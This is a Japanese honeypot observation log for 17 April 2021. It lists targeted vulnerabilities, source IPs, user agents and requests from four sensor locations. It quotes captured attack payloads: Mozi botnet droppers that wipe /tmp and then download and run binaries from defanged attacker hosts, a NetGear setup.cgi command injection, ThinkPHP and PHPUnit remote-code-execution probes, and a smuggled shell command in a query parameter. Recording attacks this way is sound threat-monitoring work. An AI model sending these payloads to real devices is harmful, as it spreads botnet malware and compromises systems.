2021/04/17 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2021/04/17分です。

特徴

共通

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

JBossの脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
.cssへのスキャン行為
.jsへのスキャン行為
/.envへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//120[.]85[.]166[.]218:33561/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：US

NetGear製品の脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
WordPressへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//178[.]175[.]14[.]246:41600/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：UK

GPONルータの脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//178[.]175[.]6[.]39:40319/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：SG

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
WordPressへのスキャン行為
Gh0stRATのような動き
を確認しました。

他

アクセス数推移

JP：総アクセス数：211 (前日比：+135)
US：総アクセス数：90 (前日比：+20)
UK：総アクセス数：178 (前日比：+109)
SG：総アクセス数：53 (前日比：-64)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
7	18.236.216.88	United States
1	23.95.85.101	United States
1	40.122.76.169	United States
1	45.56.154.209	United States
11	45.155.205.211	Russia
1	46.166.182.57	Netherlands
1	61.242.58.63	China
8	103.143.40.106	Mongolia
1	109.94.164.28	Iran
2	109.104.151.102	Albania
162	117.50.97.79	China
1	120.85.166.218	China
1	128.90.143.6	United States
1	135.181.196.29	Germany
1	139.162.145.250	Netherlands
1	143.110.253.69	United States
2	150.136.75.66	United States
1	165.22.10.137	United States
1	165.22.234.194	United States
1	192.241.206.31	United States
1	198.232.118.99	United States
3	205.185.122.102	United States
1	221.15.197.69	China

UserAgent一覧

件数	UserAgent
29	-
2	Hello, world
1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
1	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
8	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
7	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
136	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 zgrab/0.x
1	python-requests/2.22.0

リクエスト内容一覧

件数	Method	Request	Protocol
25		-
1		\x16\x03\x01\x01\xfa\x01
1		\x16\x03\x01\x02
10	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/?pp=env	HTTP/1.1
1	GET	/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=U4IUVuDn	HTTP/1.1
1	GET	/Content/common/web/CommonActivity.css	HTTP/1.1
1	GET	/Css/Hm.css	HTTP/1.1
1	GET	/Home/GetAllGameCategory	HTTP/1.1
1	GET	/Home/GetInitSource	HTTP/1.1
1	GET	/Home/Index/ajaxTJ	HTTP/1.1
1	GET	/Pc/Lang/index.html	HTTP/1.1
1	GET	/Promotions/list.mvc	HTTP/1.1
1	GET	/Public/Home/js/cls.js	HTTP/1.1
1	GET	/Public/Wchat/css/index.css	HTTP/1.1
1	GET	/Public/Wchat/js/cvphp.js	HTTP/1.1
1	GET	/Public/css/_pk10.css	HTTP/1.1
1	GET	/Public/css/errorCss.css	HTTP/1.1
1	GET	/Public/css/hall.css	HTTP/1.1
1	GET	/Public/home/common/js/index.js	HTTP/1.1
1	GET	/Public/home/js/check.js	HTTP/1.1
1	GET	/Public/home/js/fukuang.js	HTTP/1.1
1	GET	/Public/initJs.php	HTTP/1.1
1	GET	/Public/mobile/js/config.js	HTTP/1.1
1	GET	/Recruit/download_url	HTTP/1.1
1	GET	/Scripts/common.js	HTTP/1.1
1	GET	/Template/Mobile/js/main.js	HTTP/1.1
1	GET	/Templates/user/js/global.js	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/admin	HTTP/1.1
1	GET	/admin/	HTTP/1.1
1	GET	/admin/index	HTTP/1.1
1	GET	/admin/webadmin.php?mod=do&act=login	HTTP/1.1
1	GET	/admin_user/consume.php	HTTP/1.1
1	GET	/ajax?act=getrlist&rid=1	HTTP/1.1
1	GET	/ajax?act=online&rst=12	HTTP/1.1
1	GET	/anquan/qgga.asp	HTTP/1.1
1	GET	/api/ApiHub/fetchJinse	HTTP/1.1
1	GET	/api/Index/getLottery	HTTP/1.1
1	GET	/api/config-init	HTTP/1.1
1	GET	/api/content_bottom	HTTP/1.1
1	GET	/api/getServices?name%5B%5D=$(echo%20-e%20'cybersecResearch'%20%3E%20attention.txt)	HTTP/1.1
1	GET	/api/product/topRank?token=null&uid=null&lang=null&direct=1&type=1	HTTP/1.1
1	GET	/api/site/getInfo.do	HTTP/1.1
1	GET	/api/user/get_user_group	HTTP/1.1
1	GET	/api/v/index/queryOfficePage?officeCode=customHomeLink	HTTP/1.1
1	GET	/api/web/user/getIndexData.php	HTTP/1.1
1	GET	/assets/dist/static/js/vendor_prod.js	HTTP/1.1
1	GET	/assets/extension/market/css/mt4.css	HTTP/1.1
1	GET	/assets/js/dmshub.js	HTTP/1.1
1	GET	/assets/res/mods/room.js	HTTP/1.1
1	GET	/assets/room/css/room_mobile.css	HTTP/1.1
1	GET	/bag2	HTTP/1.1
1	GET	/base/exchange_index/changepwdfirst	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=user&psd=user	HTTP/1.0
1	GET	/common/member/js/user.util.js	HTTP/1.1
1	GET	/common/template/lottery/lecai/css/style.css	HTTP/1.1
1	GET	/config.js	HTTP/1.1
3	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/console/	HTTP/1.1
1	GET	/cq/css/cssy.css	HTTP/1.1
1	GET	/cq/kehulistajax.php	HTTP/1.1
1	GET	/cscpLoginWeb/app/home	HTTP/1.1
1	GET	/cscpLoginWeb/scripts/public.js	HTTP/1.1
1	GET	/css/all.css	HTTP/1.1
1	GET	/css/app.css	HTTP/1.1
1	GET	/css/nsc/reset.css	HTTP/1.1
1	GET	/css/skin/ymPrompt.css	HTTP/1.1
1	GET	/css/style.css	HTTP/1.1
1	GET	/css/view/main/goin.css	HTTP/1.1
1	GET	/css/view/main/style.css	HTTP/1.1
1	GET	/data/json/config.json	HTTP/1.1
1	GET	/ff/css/cssy.css	HTTP/1.1
1	GET	/files/pub_rem.js	HTTP/1.1
1	GET	/files/pub_reset.css	HTTP/1.1
1	GET	/getConfig/getArticle.do?code=19	HTTP/1.1
1	GET	/getConfig/listPopFrame.do?code=1&position=index&_=1601489645097	HTTP/1.1
1	GET	/getLocale	HTTP/1.1
2	GET	/h5/	HTTP/1.1
1	GET	/home/GetQrCodeInfo	HTTP/1.1
1	GET	/home/loadmymanager	HTTP/1.1
1	GET	/home/login/login_index.html	HTTP/1.1
1	GET	/homes/	HTTP/1.1
1	GET	/iframe/rankgiftgotapi/1005	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.php/Index/register.html	HTTP/1.1
1	GET	/index.php/sign	HTTP/1.1
1	GET	/index.php?m=api&c=app&a=getPlatformConfig	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/index/api/config	HTTP/1.1
1	GET	/index/login/register	HTTP/1.1
1	GET	/infe/rest/fig/advertise/common.json?mobile_open=1	HTTP/1.1
1	GET	/infe/rest/flash/getServerIP.json	HTTP/1.1
1	GET	/invoker/readonly	HTTP/1.1
1	GET	/ipl/app/flash/publicbmw/ball/FigLeaf.js?site=member	HTTP/1.1
1	GET	/jenkins/login	HTTP/1.1
1	GET	/jiaoyimao/default.css	HTTP/1.1
1	GET	/js/app.ling.js	HTTP/1.1
1	GET	/js/base1.js	HTTP/1.1
1	GET	/js/common.js	HTTP/1.1
1	GET	/js/config20181225.js	HTTP/1.1
1	GET	/js/dianzan.js	HTTP/1.1
1	GET	/js/tvConfig.js	HTTP/1.1
1	GET	/kefu.php	HTTP/1.1
1	GET	/langConfig.js	HTTP/1.1
1	GET	/leftDao.php?callback=jQuery183016740860980352856_1604309800583	HTTP/1.1
1	GET	/legal/currency/set	HTTP/1.1
1	GET	/loan	HTTP/1.1
1	GET	/login	HTTP/1.1
1	GET	/login/img/nyyh/chkjs.js	HTTP/1.1
1	GET	/login/img/nyyh/game.css	HTTP/1.1
1	GET	/m/allticker/1	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/js/left.js	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/market/market-ws/iframe.html	HTTP/1.1
1	GET	/mh/phone.do	HTTP/1.1
1	GET	/mobile/script/main.m.js	HTTP/1.1
1	GET	/myConfig.js	HTTP/1.1
1	GET	/nyyh/chkjs.js	HTTP/1.1
1	GET	/nyyh/game.css	HTTP/1.1
1	GET	/public/.env	HTTP/1.1
1	GET	/public/wap/js/basis.js	HTTP/1.1
1	GET	/resources/css/headernav.css	HTTP/1.1
1	GET	/room/1002	HTTP/1.1
1	GET	/room/script/face.js	HTTP/1.1
1	GET	/s_api/basic/download/info	HTTP/1.1
1	GET	/script/public.js	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//120[.]85[.]166[.]218:33561/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/site/get-hq?proNo=btc&panType=1&pid=1	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/static/common/js/common.js	HTTP/1.1
1	GET	/static/common/js/global.js	HTTP/1.1
1	GET	/static/data/configjs.js	HTTP/1.1
1	GET	/static/data/thirdgames.json	HTTP/1.1
1	GET	/static/diff_worker.js	HTTP/1.1
1	GET	/static/guide/ab.css	HTTP/1.1
1	GET	/static/home/css/css.css	HTTP/1.1
1	GET	/static/home/js/rooms.js	HTTP/1.1
1	GET	/static/index/css/iindex.css	HTTP/1.1
1	GET	/static/index/js/lk/order.js	HTTP/1.1
1	GET	/static/local/img/userCenter/hourlyPrivilege.svg	HTTP/1.1
1	GET	/static/wap/css/index.css	HTTP/1.1
1	GET	/static/wap/js/common.js	HTTP/1.1
1	GET	/static/xianyu/js/bankCheck.js	HTTP/1.1
1	GET	/step1.asp	HTTP/1.1
1	GET	/storage/.env	HTTP/1.1
1	GET	/style.css	HTTP/1.1
1	GET	/template/tmp1/js/common.js	HTTP/1.1
1	GET	/user/Login	HTTP/1.1
1	GET	/v1/management/tenant/getSpeedDomain	HTTP/1.1
1	GET	/vendor/.env	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/views/home/home.js	HTTP/1.1
1	GET	/wap/trading/get_newallorder_ajax	HTTP/1.1
1	GET	/wap/trading/lastKlineParameter	HTTP/1.1
1	GET	/web/api/getBanner	HTTP/1.1
1	GET	/wp-content/	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
1	GET	/ws/index/getTheLotteryInitList	HTTP/1.1
1	GET	http[:]//proxy[.]korsangazi[.]com:80/bc61121a8191137a1f6357ea09cea3d3.html	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/_ignition/execute-solution	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/b65f8b5/u4bz1zb7mg829x14/	HTTP/1.1
1	POST	/config	HTTP/1.1
1	POST	/user/login	HTTP/1.1
3	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	23.148.145.29	United States
2	36.90.21.242	Indonesia
22	45.155.205.211	Russia
1	51.255.3.17	France
1	59.99.45.170	India
1	66.240.205.34	United States
13	80.82.78.39	United Kingdom
29	82.71.19.244	United Kingdom
1	91.132.58.13	Australia
3	91.239.130.30	United Kingdom
1	109.94.164.28	Iran
1	139.162.145.250	Netherlands
1	157.230.3.207	United States
3	163.172.161.118	United Kingdom
1	178.175.14.246	Albania
1	185.61.153.77	United Kingdom
4	185.142.236.43	Seychelles
1	192.241.209.221	United States
1	192.241.210.125	United States
2	205.185.122.102	United States

UserAgent一覧

件数	UserAgent
7	-
3	Go-http-client/1.1
1	Hello, world
1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
1	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
13	Mozilla/5.0
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/57.0.3098.106
29	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
22	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
2	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/80.0.3987.95 Mobile/15E148 Safari/604.1
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
3	CONNECT	cdn[.]jsdelivr[.]net/:443	HTTP/1.1
1	CONNECT	www[.]bing[.]com/:443	HTTP/1.1
3	GET	/.env	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
2	GET	/PMA2011/index.php?lang=en	HTTP/1.1
1	GET	/PMA2017/index.php?lang=en	HTTP/1.1
1	GET	/PMA2020/index.php?lang=en	HTTP/1.1
1	GET	/PMA2021/index.php?lang=en	HTTP/1.1
2	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/admin/index.php?lang=en	HTTP/1.1
1	GET	/admin/pMA/index.php?lang=en	HTTP/1.1
1	GET	/administrator/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/administrator/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/administrator/web/index.php?lang=en	HTTP/1.1
1	GET	/b.zip	HTTP/1.1
1	GET	/bag2	HTTP/1.1
2	GET	/config/getuser?index=0	HTTP/1.1
2	GET	/console/	HTTP/1.1
1	GET	/d.zip	HTTP/1.1
1	GET	/db/db-admin/index.php?lang=en	HTTP/1.1
1	GET	/db/webadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/websql/index.php?lang=en	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/g.zip	HTTP/1.1
1	GET	/i.zip	HTTP/1.1
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/j.zip	HTTP/1.1
1	GET	/k.zip	HTTP/1.1
1	GET	/m.zip	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/mysql/dbadmin/index.php?lang=en	HTTP/1.1
3	GET	/mysql/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/web/index.php?lang=en	HTTP/1.1
1	GET	/mysqladmin/index.php?lang=en	HTTP/1.1
1	GET	/o.zip	HTTP/1.1
1	GET	/phpMyAdmin5/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2014/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2020/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin5/index.php?lang=en	HTTP/1.1
1	GET	/pma2015/index.php?lang=en	HTTP/1.1
2	GET	/pma2018/index.php?lang=en	HTTP/1.1
1	GET	/pv/000000000000.cfg	HTTP/1.1
1	GET	/q.zip	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/s.zip	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//59[.]99[.]45[.]170:51700/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//178[.]175[.]14[.]246:41600/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/sql/phpmyadmin2/index.php?lang=en	HTTP/1.1
2	GET	/sql/webdb/index.php?lang=en	HTTP/1.1
1	GET	/t.zip	HTTP/1.1
1	GET	/v.zip	HTTP/1.1
2	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/vicidial/admin.php?ADD=140000000000	HTTP/1.1
1	GET	/w.zip	HTTP/1.1
2	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
1	GET	http[:]//proxy[.]korsangazi[.]com:80/bc61121a8191137a1f6357ea09cea3d3.html	HTTP/1.1
1	GET	http[:]//www[.]bing[.]com/	HTTP/1.1
2	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
2	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/b65f8b5/u4bz1zb7mg829x14/	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	http[:]//dearth[.]fun/4be5dab2d3fb848b8ebd89c9426be232e15889646885e6bfa62919dca06c53b68f3c06c45a276dbe674e169566fd9c3cc1a3931d63ae974bb67df1185401d30a6847f3521d0f4d3e46a6ee16709e30aa9587470d9a977531fde5502a9c95a6c9	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	27.45.88.165	China
11	45.155.205.211	Russia
122	52.59.143.174	United States
1	80.82.78.39	United Kingdom
10	81.70.193.90	China
3	91.239.130.30	United Kingdom
1	117.242.210.51	India
1	138.68.42.15	United States
9	138.68.178.87	United States
1	139.162.145.250	Netherlands
1	143.110.183.167	United States
1	157.230.210.152	United States
5	172.105.67.207	United States
1	178.175.6.39	Albania
1	178.175.18.213	Albania
1	182.120.50.154	China
2	185.162.235.21	Russia
1	192.241.209.112	United States
4	198.20.70.114	United States
1	205.185.122.102	United States

UserAgent一覧

件数	UserAgent
13	-
4	Go-http-client/1.1
2	Hello, World
1	Hello, world
2	Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
2	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
1	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
7	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
122	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
1		HELP
2		\x16\x03\x01
1		\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc
1		\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff
3	CONNECT	cdn[.]jsdelivr[.]net/:443	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/MyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/PMA/index.php?lang=en	HTTP/1.1
1	GET	/PMA2011/index.php?lang=en	HTTP/1.1
1	GET	/PMA2012/index.php?lang=en	HTTP/1.1
1	GET	/PMA2014/index.php?lang=en	HTTP/1.1
1	GET	/PMA2015/index.php?lang=en	HTTP/1.1
1	GET	/PMA2017/index.php?lang=en	HTTP/1.1
1	GET	/PMA2018/index.php?lang=en	HTTP/1.1
2	GET	/PMA2019/index.php?lang=en	HTTP/1.1
2	GET	/PMA2020/index.php?lang=en	HTTP/1.1
3	GET	/PMA2021/index.php?lang=en	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/_phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/_phpmyadmin/index.php?lang=en	HTTP/1.1
2	GET	/admin/db/index.php?lang=en	HTTP/1.1
2	GET	/admin/pMA/index.php?lang=en	HTTP/1.1
1	GET	/admin/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/phpmyadmin/index.php?lang=en	HTTP/1.1
2	GET	/admin/sqladmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/web/index.php?lang=en	HTTP/1.1
2	GET	/administrator/PMA/index.php?lang=en	HTTP/1.1
1	GET	/administrator/admin/index.php?lang=en	HTTP/1.1
2	GET	/administrator/db/index.php?lang=en	HTTP/1.1
3	GET	/administrator/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/administrator/web/index.php?lang=en	HTTP/1.1
1	GET	/bag2	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=ec8&psd=ec8	HTTP/1.0
1	GET	/c/version.js	HTTP/1.1
1	GET	/client_area/	HTTP/1.1
1	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/console/	HTTP/1.1
2	GET	/db/dbweb/index.php?lang=en	HTTP/1.1
3	GET	/db/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin-3/index.php?lang=en	HTTP/1.1
5	GET	/db/phpMyAdmin/index.php?lang=en	HTTP/1.1
3	GET	/db/phpmyadmin/index.php?lang=en	HTTP/1.1
2	GET	/db/phpmyadmin3/index.php?lang=en	HTTP/1.1
2	GET	/db/webadmin/index.php?lang=en	HTTP/1.1
2	GET	/db/websql/index.php?lang=en	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
2	GET	/index.php	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
2	GET	/myadmin/index.php?lang=en	HTTP/1.1
2	GET	/mysql/dbadmin/index.php?lang=en	HTTP/1.1
2	GET	/mysql/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/php-my-admin/index.php?lang=en	HTTP/1.1
1	GET	/php-myadmin/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin-3/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin/scripts/setup.php	HTTP/1.1
2	GET	/phpMyAdmin1/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin5/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin_/index.php?lang=en	HTTP/1.1
2	GET	/phpMyadmin/index.php?lang=en	HTTP/1.1
3	GET	/phpmy/index.php?lang=en	HTTP/1.1
1	GET	/phpmyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin1/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2012/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2013/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2014/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2015/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin2018/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin2019/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2020/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2021/index.php?lang=en	HTTP/1.1
4	GET	/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/pma2012/index.php?lang=en	HTTP/1.1
1	GET	/pma2014/index.php?lang=en	HTTP/1.1
